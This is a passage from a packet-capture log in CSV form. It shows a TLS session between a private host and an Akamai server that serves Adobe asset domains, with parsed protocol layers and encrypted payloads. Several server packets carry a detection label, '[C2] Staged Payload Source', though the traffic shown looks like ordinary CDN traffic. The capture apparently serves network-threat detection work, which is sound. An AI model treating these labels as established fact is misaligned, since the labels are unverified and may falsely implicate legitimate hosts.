{\"\"layer\"\": \"\"_TLSEncryptedContent\"\", \"\"fields\"\": {\"\"load\"\": \"\"decfbd2937aa031dbeedcd17301d0603551d0e041604149994c8de674b0563825cc846f0ad8df972f856ad3081cb0603551d110481c33081c082136173736574732e61646f626564746d2e636f6d821f63646e312d73746167696e672e61646f62657265736f75726365732e6e657482196173736574732e61646f62657265736f75726365732e6e657482216173736574732d73746167696e672e61646f62657265736f75726365732e6e6574821763646e312e61646f62657265736f75726365732e6e65748215636f6d6d657263652e61646f626564746d2e636f6d821a6d6167656e746f2d726563732d73646b2e61646f62652e6e6574303e0603551d20043730353033060667810c0102023029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f435053300e0603551d0f0101ff040403020388301d0603551d250416301406082b0601050507030106082b0601050507030230819f0603551d1f0481973081943048a046a0448642687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c3048a046a0448642687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e63726c30818706082b06010505070101047b3079302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305106082b060105050730028645687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c4732544c53525341534841323536323032304341312d312e637274300c0603551d130101ff040230003082017e060a2b06010401d6790204020482016e0482016a0168007600d76d7d10d1a7f577c2c7e95fd700bff982c9335a65e1d0b3017317c0c8c5697700000197a356776d0000040300473045022100ba13cdb0191ff2dda7613f7abaa7a2709aad9dcb1d225f285caa90401b88d1cf02204f4cced7a52a563f96e619b5a84a3ea3265604c247ef88fe44872362f1788499007700c2317e574519a345ee7f38deb29041ebc7c2215a22bf7fd5b5ad769ad90e52cd00000197a35677990000040300483046022100ba0becbb14c6527db1b14357ed59fbcfd99c67a8921e6bc1e8cef99a99eb7b97022100dbe61c5fec37f4caebd7688dfd4867de1e0253641e958279c144db5455387384007500944e4387faecc1ef81f3192426a8186501c7d35f3802013f72677d55372e19d800000197a35677ab000004030046304402204689c9b939bc70f0eb7100247f2ebb036595e5feee06c2a0c12ad3a0cf925a090220136005146ca316af5faab6c9211868852c22a24ee42ac9374af8c78fdecf122c300d06092a864886f70d01010b050003820101009568286c9d10cf14a45fab15a703543efc1863106aa47085e985102f8dd54639c32d186b32b0b7f64002cfedc28a506bf1fa039b3f0c590a9ca8356df9e91fdea22c1de099bc120cdf06d8069913e22db60731146f9bd78bb64cfc16d39f44a66ecd281f52c3c7477a35d12c29e9ce6ddf6d80fad6cbb6ab1d9d34e1cdef10870430d94d31c40896b0c2a6e02b2b5cd822ed23dd0197e9bf07b86059e63d35ef7d802cd3bc54a2455aadbf9c0780ae0867900f72bca9cc27cbbaa1c256a351a17f7fe35f083c6b7e0baff7a1442fb528276737a6982678691b9e211720182b7c3f266f93c6c059cf6b03c0333dc9a1a6207fb5ecf1a9255ba762466f9955cdd80004cc308204c8308203b0a00302010202100cf5bd062b5602f47ab8502c23ccf066300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3231303333303030303030305a170d3331303332393233353935395a3059310b300906035504061302555331153013060355040a130c446967694365727420496e63313330310603550403132a446967694365727420476c6f62616c20473220544c53205253412053484132353620323032302043413130820122300d06092a864886f70d01010105000382010f003082010a0282010100ccf710624fa6bb636fed905256c56d277b7a12568af1f4f9d6e7e18fbd95abf260411570db1200fa270ab557385b7db2519371950e6a41945b351bfa7bfabbc5be2430fe56efc4f37d97e314f5144dcba710f216eaab22f031221161699026ba78d9971fe37d66ab75449573c8acffef5d0a8a5943e1acb23a0ff348fcd76b37c163dcde46d6db45fe7d23fd90e851071e51a35fed4946547f2c88c5f4139c97153c03e8a139dc690c32c1af16574c9447427ca2c89c7de6d44d54af4299a8c104c2779cd648e4ce11e02a8099f04370cf3f766bd14c49ab245ec20d82fd46a8ab6c93cc6252427592f89afa5e5eb2b061e51f1fb97f0998e83dfa837f4769a10203010001a38201823082017e30120603551d130101ff040830060101ff020100301d0603551d0e04160414748580c066c7df37decfbd2937aa031dbeedcd17301f0603551d230418301680144e2254201895e6e36ee60ffafab912ed06178f39300e0603551d0f0101ff040403020186301d0603551d250416301406082b0601050507030106082b06010505070302307606082b06010505070101046a3068302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304006082b060105050730028634687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63727430420603551d1f043b30393037a035a0338631687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274476c6f62616c526f6f7447322e63726c303d0603551d2004363034300b06096086480186fd6c02013007060567810c01013008060667810c0102013008060667810c0102023008060667810c010203300d06092a864886f70d01010b0500038201010090f170cb289769977c74fdc0fa267b53abadcd65fdba9c069c8ad75a4387ed4d4c565fadc1c5b505202e59d1ff4af5a02ad8b095adc92e4a3bd7a7f66f8829fc303f2484bbc3b77b93072caf876b7633ed005552b2599ee4b9d0f3dfe70ffeddf8c4b910728109045fcf979e2e32758ecf9a58d257317e370181b2666d291ab166096dd16e90f4b9fa2f0114c55c566401d97d87a838539f8b5d466d5cc6278481d47e8c8ca39b52e7c688ec377c2afbf0555a387210d80013cf4c73dbaa3735a82981699c76bcde187b90d4cacfef6703fd045a2116b1ffea3fdfdc82f5ebf45992230d242a95254ccaa191e6d4b7ac8774b3f16da399dbf9d5bd84409f079816030301df160001db010001d7308201d30a0100a08201cc308201c806092b0601050507300101048201b9308201b530819ea2160414748580c066c7df37decfbd2937aa031dbeedcd17180f32303236303631303132303131365a307330713049300906052b0e03021a05000414a7c4b8b3dc5bb5581ea7d7f13ac569f56f48d7890414748580c066c7df37decfbd2937aa031dbeedcd170210088419764d2e757b0de43f20409b08908000180f32303236303631303131343530325aa011180f32303236303631373130343530325a300d06092a864886f70d01010b050003820101005e7999694acfd1b68061acea75ee0458f2ed6f4b933a2c01be90ee1a1e09eb9599e0695837179547868d0029956dfd2eb3fdb581c9cf7b2f4f7e08c0db3c0b210475388df5ee12087fd44c506e3878d30704eabb870fc3e6b009b25da1cebcff57163914ff65481ec1bc5877cf6485fd9c3f935c6087f9ea1d7b6fa9c18ab8ff1c35e56da99590a25463986884760c63bd18d919c4408dc3865adbe9da32ef1d934a901d4d9e89c9c56ce1b4fd840cfd7d413c5b27302a3d423e491555eec0a81859d8f99caa111f68996bf6e524bdde87639988133aca21810066b7dabbf73179e9b440ccf84714487fe2e5e72f5a97d86316e1010e9a4e80f901518b39fb2016030300940c0000900300174104b3f2230e25abf5443c3b30a736fdef1dee21c5b97dcca8cd77d01c03bd8a91038133b100daafec184c335e8fa42a9168e8889f6eea254686cee24ed702e500b504030047304502206c77da0a60a0209372e80294c78e698b62353ec0fc0614a87846ec4759b0405c022100fe620c1e4cdececddfc7c207eabff8cd01a3ab25237adc5a5b27c8c9c2e3501c16030300040e000000\"\"}}]\"\n2026-06-14 14:28:34.374629,9,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,A,,,Ether > IP > TCP,3,TCP A Seq=2473779380 Ack=616607919,bc24112907bbbc2411360d0c0800450000282fb340008006d3150a98980bb81e9d45f9c601bb9372e0b424c0b0af5010201452a00000,\".$.)...$.6\n...E..(/.@.....\n......E.....r..$...P. .R...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 12211, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 54037, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473779380, \"\"ack\"\": 616607919, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 21152, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:34.378441,10,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2473779380 Ack=616607919,bc24112907bbbc2411360d0c0800450000a62fb440008006d2960a98980bb81e9d45f9c601bb9372e0b424c0b0af501820148c6300001603030046100000424104b4da3568a9ed1589ad01cfbb1a1a0ee7ee66f59d17abe97d932f03b617c15e9c13278a442016738ac6dc6b24aa050129344f932f5598fb9c37004d76e21104d01403030001011603030028000000000000000059b9819dff376393ce3156d00620968b9b29ac62f52c5c870d19bac4847401d2,A...5h.............f.....}./....^..'.D .s...k$...)4O./U...7.Mv....,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 166, \"\"id\"\": 12212, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53910, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473779380, \"\"ack\"\": 616607919, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 35939, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 70, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSClientKeyExchange  msgtype=client_key_exchange msglen=66 exchkeys=<Raw  load=b\\\"\"A\\\\x04\\\\xb4\\\\xda5h\\\\xa9\\\\xed\\\\x15\\\\x89\\\\xad\\\\x01\\\\xcf\\\\xbb\\\\x1a\\\\x1a\\\\x0e\\\\xe7\\\\xeef\\\\xf5\\\\x9d\\\\x17\\\\xab\\\\xe9}\\\\x93/\\\\x03\\\\xb6\\\\x17\\\\xc1^\\\\x9c\\\\x13'\\\\x8aD \\\\x16s\\\\x8a\\\\xc6\\\\xdck$\\\\xaa\\\\x05\\\\x01)4O\\\\x93/U\\\\x98\\\\xfb\\\\x9c7\\\\x00Mv\\\\xe2\\\\x11\\\\x04\\\\xd0\\\"\" |> |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b'Y\\\\xb9\\\\x81\\\\x9d\\\\xff7c\\\\x93\\\\xce1V\\\\xd0\\\\x06 \\\\x96\\\\x8b\\\\x9b)\\\\xacb\\\\xf5,\\\\\\\\\\\\x87\\\\r\\\\x19\\\\xba\\\\xc4\\\\x84t\\\\x01\\\\xd2' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:34.378470,11,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=616607919 Ack=2473779506,bc2411360d0cbc24112907bb0800450000289beb40004006a6ddb81e9d450a98980b01bbf9c624c0b0af9372e1325010003ff8210000,\".$.6\n..$.)....E..(..@.@......E\n.......$....r.2P..?.!..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 39915, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42717, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616607919, \"\"ack\"\": 2473779506, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:28:34.649133,12,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=616607919 Ack=2473779506,bc2411360d0cbc24112907bb08004500013a9bec40004006a5cab81e9d450a98980b01bbf9c624c0b0af9372e1325018003ff933000016030300da040000d60001449c00d000001e80479be6b5623bf85fbd3bc97715e69076ef33329b4f594850b99a253335f3a4f095cd50a8567c23edc58d71779263adc01618131ffb3048aa2a6e64cfa5a668fee036b966a106abeacf454bdfd92381fb9f9cc7dfc72d69b39471e8523c9fe0e7fd32ca2059dc0e60b4e1de820a62b6797729850ce04d66b2a874e9ad6bcd5203508a80b78342852d898c7f4b70de5e95f67361f7ba30a523ffdcab3189845bd06d82eed652a85e97bae03e6319e1894dd16e4974477c3d83b93f18d550cf37947b44d5a6540e22f5b2c65fed1403030001011603030028453155f8677edd528e5b41eca2ebf6a9cf6f0accbc5ed46ab722d916e3052cbe48f273e0ca3ab041,\"E1U.g~.R.[A......o\n..^.j.\"\"....,.H.s..:.A\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 314, \"\"id\"\": 39916, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42442, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63942, \"\"seq\"\": 616607919, \"\"ack\"\": 2473779506, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 63795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 218, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=214 lifetime=83100 ticketlen=208 ticket=b'\\\\x00\\\\x00\\\\x1e\\\\x80G\\\\x9b\\\\xe6\\\\xb5b;\\\\xf8_\\\\xbd;\\\\xc9w\\\\x15\\\\xe6\\\\x90v\\\\xef32\\\\x9bOYHP\\\\xb9\\\\x9a%35\\\\xf3\\\\xa4\\\\xf0\\\\x95\\\\xcdP\\\\xa8V|#\\\\xed\\\\xc5\\\\x8dqw\\\\x92c\\\\xad\\\\xc0\\\\x16\\\\x18\\\\x13\\\\x1f\\\\xfb0H\\\\xaa*nd\\\\xcf\\\\xa5\\\\xa6h\\\\xfe\\\\xe06\\\\xb9f\\\\xa1\\\\x06\\\\xab\\\\xea\\\\xcfEK\\\\xdf\\\\xd9#\\\\x81\\\\xfb\\\\x9f\\\\x9c\\\\xc7\\\\xdf\\\\xc7-i\\\\xb3\\\\x94q\\\\xe8R<\\\\x9f\\\\xe0\\\\xe7\\\\xfd2\\\\xca Y\\\\xdc\\\\x0e`\\\\xb4\\\\xe1\\\\xde\\\\x82\\\\nb\\\\xb6yw)\\\\x85\\\\x0c\\\\xe0Mf\\\\xb2\\\\xa8t\\\\xe9\\\\xadk\\\\xcdR\\\\x03P\\\\x8a\\\\x80\\\\xb7\\\\x83B\\\\x85-\\\\x89\\\\x8c\\\\x7fKp\\\\xde^\\\\x95\\\\xf6sa\\\\xf7\\\\xba0\\\\xa5#\\\\xff\\\\xdc\\\\xab1\\\\x89\\\\x84[\\\\xd0m\\\\x82\\\\xee\\\\xd6R\\\\xa8^\\\\x97\\\\xba\\\\xe0>c\\\\x19\\\\xe1\\\\x89M\\\\xd1nItG|=\\\\x83\\\\xb9?\\\\x18\\\\xd5P\\\\xcf7\\\\x94{D\\\\xd5\\\\xa6T\\\\x0e\\\"\"\\\\xf5\\\\xb2\\\\xc6_\\\\xed' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<Raw  load=b'E1U\\\\xf8g~\\\\xddR\\\\x8e[A\\\\xec\\\\xa2\\\\xeb\\\\xf6\\\\xa9\\\\xcfo\\\\n\\\\xcc\\\\xbc^\\\\xd4j\\\\xb7\\\"\"\\\\xd9\\\\x16\\\\xe3\\\\x05,\\\\xbeH\\\\xf2s\\\\xe0\\\\xca:\\\\xb0A' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:34.655549,13,TCP 10.152.152.11:63942 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63942,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2473779506 Ack=616608193,bc24112907bbbc2411360d0c0800450002172fb540008006d1240a98980bb81e9d45f9c601bb9372e13224c0b1c150182013851e000017030301ea000000000000000153a5546bcd375440d5f91bdb5585c6e3974193a0ff6278599c426fa0a6a89f5e113d23d4513c6eb98ddb70ce066ae364b2755fbff22b2def3f25b69c9f2e549deec2f4508a9978c6d5908200c766dd928e0a2e1bb932afb3432a7a96fd7bcc3c427bb54a1b87238f406dfba44030a87bdf1bd22d62b8247c847b2c6b1ea0913d4d98303c6cf31d33429dc5a9b1276514a789558fd821b23b6a46a2809075a837cb67fcbe1f225ce8cb5b5bbccbc2abef4e3d240a66918afbba44ee232f0ee12b8729b043b7809ab4b2e51c19184d99ca2813865f4d916f8f80ae2bfcd12c4f89b7c2a5fee8750635d9915fd533d324ef0f42d0c1977e88c792a4e233fabda2f3284cedaa28c3b57bb8cf476a2b1371352e961995807cda15902a89bb46d835d28efe3b75681ffe7475fa522eb86cea6ecd8eab567e07a6abd731275ec9006588f1cb99226b137d6b86c7bbf526cdefa4e7cb3943c23d02be59fd0347f6358b29422fe8127a5a7305f41dae9e542c4489291a9586a5ddaf504bfc96626951bbe9877eeb2c4f7f5e90658c4ac023735fa8a2880ecd793151ddb2bc5b3fb2083ccb93207938d919fa7dc6b726b16c111ea8fd42715afe5585f550d144824c95acfc050d529658290ce16a87fc1ea5c95573b0f2852d81ba8d2485928461f23500094d37,\".$.)...$.6\n...E.../.@....$\n......E.....r.2$...P. ..................S.Tk.7T@....U....A...bxY.Bo....^.=#.Q<n...p..j.d.u_..+-.?%....T....P..x......f...\n...2..C*z..{.<B{.J..#.@m..@0.{...-b.$|.{,k...=M.0<l..3B....'e...U..!.;jF...u.7.g...\"\"\\..[[.....N=$\nf....D.#/..+.).C.........M..(.._M.o...+..,O......u.5.._.3.$..B...~.....3....(L..(..{..Gj+.q5.....|...*..F.5...;uh..tu.R..l.n...V~....1'^..e....\"\"k.}k....&.....9C.=..Y..G.5.)B/..zZs.....T,D.)......PK..biQ...~.,O.^.e.J.#s_.....y1Q...[?..<.. y8...}..&.l....BqZ.U..P.D.L....\nR.X)..j.....Us...-...$...a.5.\tM7\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 535, \"\"id\"\": 12213, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53540, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63942, \"\"dport\"\": 443, \"\"seq\"\": 2473779506, \"\"ack\"\": 616608193, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8211, \"\"chksum\"\": 34078, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 490, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01S\\\\xa5Tk\\\\xcd7T@\\\\xd5\\\\xf9\\\\x1b\\\\xdbU\\\\x85\\\\xc6\\\\xe3\\\\x97A\\\\x93\\\\xa0\\\\xffbxY\\\\x9cBo\\\\xa0\\\\xa6\\\\xa8\\\\x9f^\\\\x11=#\\\\xd4Q<n\\\\xb9\\\\x8d\\\\xdbp\\\\xce\\\\x06j\\\\xe3d\\\\xb2u_\\\\xbf\\\\xf2+-\\\\xef?%\\\\xb6\\\\x9c\\\\x9f.T\\\\x9d\\\\xee\\\\xc2\\\\xf4P\\\\x8a\\\\x99x\\\\xc6\\\\xd5\\\\x90\\\\x82\\\\x00\\\\xc7f\\\\xdd\\\\x92\\\\x8e\\\\n.\\\\x1b\\\\xb92\\\\xaf\\\\xb3C*z\\\\x96\\\\xfd{\\\\xcc<B{\\\\xb5J\\\\x1b\\\\x87#\\\\x8f@m\\\\xfb\\\\xa4@0\\\\xa8{\\\\xdf\\\\x1b\\\\xd2-b\\\\xb8$|\\\\x84{,k\\\\x1e\\\\xa0\\\\x91=M\\\\x980<l\\\\xf3\\\\x1d3B\\\\x9d\\\\xc5\\\\xa9\\\\xb1\\\\'e\\\\x14\\\\xa7\\\\x89U\\\\x8f\\\\xd8!\\\\xb2;jF\\\\xa2\\\\x80\\\\x90u\\\\xa87\\\\xcbg\\\\xfc\\\\xbe\\\\x1f\\\"\"\\\\\\\\\\\\xe8\\\\xcb[[\\\\xbc\\\\xcb\\\\xc2\\\\xab\\\\xefN=$\\\\nf\\\\x91\\\\x8a\\\\xfb\\\\xbaD\\\\xee#/\\\\x0e\\\\xe1+\\\\x87)\\\\xb0C\\\\xb7\\\\x80\\\\x9a\\\\xb4\\\\xb2\\\\xe5\\\\x1c\\\\x19\\\\x18M\\\\x99\\\\xca(\\\\x13\\\\x86_M\\\\x91o\\\\x8f\\\\x80\\\\xae+\\\\xfc\\\\xd1,O\\\\x89\\\\xb7\\\\xc2\\\\xa5\\\\xfe\\\\xe8u\\\\x065\\\\xd9\\\\x91_\\\\xd53\\\\xd3$\\\\xef\\\\x0fB\\\\xd0\\\\xc1\\\\x97~\\\\x88\\\\xc7\\\\x92\\\\xa4\\\\xe23\\\\xfa\\\\xbd\\\\xa2\\\\xf3(L\\\\xed\\\\xaa(\\\\xc3\\\\xb5{\\\\xb8\\\\xcfGj+\\\\x13q5.\\\\x96\\\\x19\\\\x95\\\\x80|\\\\xda\\\\x15\\\\x90*\\\\x89\\\\xbbF\\\\xd85\\\\xd2\\\\x8e\\\\xfe;uh\\\\x1f\\\\xfetu\\\\xfaR.\\\\xb8l\\\\xean\\\\xcd\\\\x8e\\\\xabV~\\\\x07\\\\xa6\\\\xab\\\\xd71\\\\'^\\\\xc9\\\\x00e\\\\x88\\\\xf1\\\\xcb\\\\x99\\\"\"k\\\\x13}k\\\\x86\\\\xc7\\\\xbb\\\\xf5&\\\\xcd\\\\xef\\\\xa4\\\\xe7\\\\xcb9C\\\\xc2=\\\\x02\\\\xbeY\\\\xfd\\\\x03G\\\\xf65\\\\x8b)B/\\\\xe8\\\\x12zZs\\\\x05\\\\xf4\\\\x1d\\\\xae\\\\x9eT,D\\\\x89)\\\\x1a\\\\x95\\\\x86\\\\xa5\\\\xdd\\\\xafPK\\\\xfc\\\\x96biQ\\\\xbb\\\\xe9\\\\x87~\\\\xeb,O\\\\x7f^\\\\x90e\\\\x8cJ\\\\xc0#s_\\\\xa8\\\\xa2\\\\x88\\\\x0e\\\\xcdy1Q\\\\xdd\\\\xb2\\\\xbc[?\\\\xb2\\\\x08<\\\\xcb\\\\x93 y8\\\\xd9\\\\x19\\\\xfa}\\\\xc6\\\\xb7&\\\\xb1l\\\\x11\\\\x1e\\\\xa8\\\\xfdBqZ\\\\xfeU\\\\x85\\\\xf5P\\\\xd1D\\\\x82L\\\\x95\\\\xac\\\\xfc\\\\x05\\\\rR\\\\x96X)\\\\x0c\\\\xe1j\\\\x87\\\\xfc\\\\x1e\\\\xa5\\\\xc9Us\\\\xb0\\\\xf2\\\\x85-\\\\x81\\\\xba\\\\x8d$\\\\x85\\\\x92\\\\x84a\\\\xf25\\\\x00\\\\tM7' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:28:34.655575,14,TCP 184.30.157.69:443 -> 10.152.152.11:63942,184.30.157.69,10.152.152.11,443,63942,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=616608193 Ack=2473780001,bc2411360d0cbc24112907bb0800450000289bed40004006a6dbb81e9d450a98980b01bbf9c624c0b1c19372e3215010003ff8210000,\".$.6\n..$.)....E..(..@.@......E\n.......$....r.!P..?.!..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 39917, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 42715, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": 